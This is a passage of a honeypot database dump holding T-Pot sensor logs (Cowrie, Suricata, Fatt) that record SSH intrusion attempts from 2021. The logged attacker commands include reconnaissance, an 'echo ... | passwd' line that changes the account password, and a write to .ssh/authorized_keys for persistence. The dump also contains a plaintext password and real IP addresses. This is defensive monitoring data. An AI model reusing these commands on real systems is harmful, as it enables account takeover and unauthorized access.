"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33245	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:42.698799+03	2021-09-20 15:00:05.555725+03	{"_id": "2QYOA3wBvYTbRNuE8E5u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 29 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 29.927339553833008, "timestamp": "2021-09-20T11:54:42.698799Z", "@timestamp": "2021-09-20T11:54:42.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33246	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:42.520439+03	2021-09-20 15:00:05.599721+03	{"_id": "1AYOA3wBvYTbRNuE8E5t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:42.520439Z", "@timestamp": "2021-09-20T11:54:42.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33247	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:43.464082+03	2021-09-20 15:00:05.615723+03	{"_id": "2wYOA3wBvYTbRNuE9E5W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:43.464082Z", "@timestamp": "2021-09-20T11:54:43.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33248	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:44.49306+03	2021-09-20 15:00:05.621723+03	{"_id": "4AYOA3wBvYTbRNuE-E4_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:44.493060Z", "@timestamp": "2021-09-20T11:54:44.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33249	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:44.493625+03	2021-09-20 15:00:05.623722+03	{"_id": "4QYOA3wBvYTbRNuE-E4_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:44.493625Z", "@timestamp": "2021-09-20T11:54:44.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33250	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:54:44.710996+03	2021-09-20 15:00:05.624724+03	{"_id": "4gYOA3wBvYTbRNuE-U6Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:44.710996+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffff:040f", "flow_id": 1919618294012244, "payload": "AAAAAP6AAAAAAAAAAIZAPXL/BA8=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:54:44.710996Z", "@timestamp": "2021-09-20T11:54:44.710Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..............@=r..."}}	1	\N	\N	alert	\N	\N
33251	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:54:44.724149+03	2021-09-20 15:00:05.625723+03	{"_id": "4wYOA3wBvYTbRNuE-U6Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:44.724149+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 317932647484597, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:54:44.724149Z", "@timestamp": "2021-09-20T11:54:44.724Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33263	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:40.401045+03	2021-09-20 15:00:05.640722+03	{"_id": "vAYOA3wBvYTbRNuE6E6a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:40.401045Z", "@timestamp": "2021-09-20T11:54:40.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33252	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:35.106678+03	2021-09-20 15:00:05.627722+03	{"_id": "jAYOA3wBvYTbRNuE1U4M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "1.116.239.130", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5618240833282471, "duplicate": true, "timestamp": "2021-09-20T11:54:35.106678Z", "@timestamp": "2021-09-20T11:54:35.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33253	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:35.539415+03	2021-09-20 15:00:05.628723+03	{"_id": "jgYOA3wBvYTbRNuE1U4N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:35.539415Z", "@timestamp": "2021-09-20T11:54:35.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33254	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:36.091201+03	2021-09-20 15:00:05.629722+03	{"_id": "jwYOA3wBvYTbRNuE2E70", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "1.116.239.130", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5525989532470703, "duplicate": true, "timestamp": "2021-09-20T11:54:36.091201Z", "@timestamp": "2021-09-20T11:54:36.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33255	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:37.08029+03	2021-09-20 15:00:05.630722+03	{"_id": "mgYOA3wBvYTbRNuE3E7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "1.116.239.130", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "72b3abb7134e", "@version": "1", "destfile": "/home/charles/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:54:37.080290Z", "@timestamp": "2021-09-20T11:54:37.080Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
33256	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:37.602369+03	2021-09-20 15:00:05.631723+03	{"_id": "lwYOA3wBvYTbRNuE3E7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:37.602369Z", "@timestamp": "2021-09-20T11:54:37.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33264	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:40.400488+03	2021-09-20 15:00:05.642722+03	{"_id": "ugYOA3wBvYTbRNuE6E6a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:40.400488Z", "@timestamp": "2021-09-20T11:54:40.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33257	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:39.052305+03	2021-09-20 15:00:05.633722+03	{"_id": "pQYOA3wBvYTbRNuE4E7J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "1.116.239.130", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.546567440032959, "duplicate": true, "timestamp": "2021-09-20T11:54:39.052305Z", "@timestamp": "2021-09-20T11:54:39.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33258	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:54:38.908544+03	2021-09-20 15:00:05.634722+03	{"_id": "sQYOA3wBvYTbRNuE404q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41660, "dest_port": 22, "timestamp": "2021-09-20T11:54:38.908544", "@timestamp": "2021-09-20T11:54:38.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33259	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:39.44983+03	2021-09-20 15:00:05.635722+03	{"_id": "tAYOA3wBvYTbRNuE5E6y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:39.449830Z", "@timestamp": "2021-09-20T11:54:39.449Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33260	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:39.450374+03	2021-09-20 15:00:05.636723+03	{"_id": "tQYOA3wBvYTbRNuE5E6y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:39.450374Z", "@timestamp": "2021-09-20T11:54:39.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33261	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:39.595055+03	2021-09-20 15:00:05.638723+03	{"_id": "tgYOA3wBvYTbRNuE5E6y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:39.595055Z", "@timestamp": "2021-09-20T11:54:39.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33262	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:39.595604+03	2021-09-20 15:00:05.639722+03	{"_id": "twYOA3wBvYTbRNuE5E6y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"charles123\\\\nYXTWFwOARc20\\\\nYXTWFwOARc20\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: echo \\"charles123\\\\nYXTWFwOARc20\\\\nYXTWFwOARc20\\\\n\\"|passwd", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:39.595604Z", "@timestamp": "2021-09-20T11:54:39.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33265	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:40.98136+03	2021-09-20 15:00:05.643723+03	{"_id": "vgYOA3wBvYTbRNuE6E6a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "1.116.239.130", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5809545516967773, "duplicate": true, "timestamp": "2021-09-20T11:54:40.981360Z", "@timestamp": "2021-09-20T11:54:40.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
